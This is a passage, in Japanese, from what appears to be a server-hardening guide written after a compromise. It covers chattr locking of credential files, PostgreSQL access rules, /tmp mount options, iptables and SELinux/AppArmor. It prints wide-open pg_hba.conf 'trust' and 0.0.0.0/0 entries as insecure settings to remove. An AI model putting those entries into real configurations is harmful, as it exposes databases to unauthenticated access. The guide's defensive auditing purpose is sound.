    sudo chattr +i /etc/gshadow
    sudo chattr +i /etc/ssh/sshd_config
    sudo chattr +i /root/.ssh/authorized_keys
    
  8. PostgreSQL を強化

    postgresql.confに以下の項目が存在するか確認します:

    listen_addresses = '*'
    

    pg_hba.confに以下の項目が存在するか確認します:

    host    all             all             0.0.0.0/0               md5
    host    all             all             ::0/0                   md5
    
    host    all             all             0.0.0.0/0               trust
    host    all             all             ::0/0                   trust
    

    もしあれば、直ちに修正または削除してください。例えば、Docker コンテナからの接続のみを許可するようにします:

    host    all             all             172.17.0.0/16           md5
    
  9. サーバーを強化

    /tmpディレクトリを強化します:

    sudo mount -o remount,noexec,nosuid,nodev /tmp
    

    ファイアウォールルールを設定します(実際のニーズに応じて修正してください):

    # 確立された接続を許可
    sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
    
    # ローカルループバックを許可
    sudo iptables -A INPUT -i lo -j ACCEPT
    
    # SSHを許可
    sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
    
    # 保存して適用
    sudo service iptables save
    sudo systemctl enable iptables
    

    SELinux または AppArmor を復元します。

    # SELinuxシステム(CentOS/RHEL)の場合
    sudo sed -i 's/SELINUX=disabled/SELINUX=permissive/' /etc/selinux/config
    
    # AppArmorシステム(Ubuntu/Debian)の場合
    sudo systemctl enable apparmor
    sudo systemctl start apparmor
    sudo systemctl reload apparmor
    
  10. 再起動し、再度観察して確認

    sudo reboot
    

この解決策は一時的な処理と強化にのみ適用されることに注意してください。データとサービスの移行と再構築を早急に行うことをお勧めします。また、サーバーの日常的なメンテナンスと監視を行い、敏感なサービスポートが直接公開されないようにし、SSH やデータベースで弱いパスワードを使用しないようにしてください。サービスが正常に動作していることを確認しつつ、アカウント権限を最小限に抑えるようにしてください。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。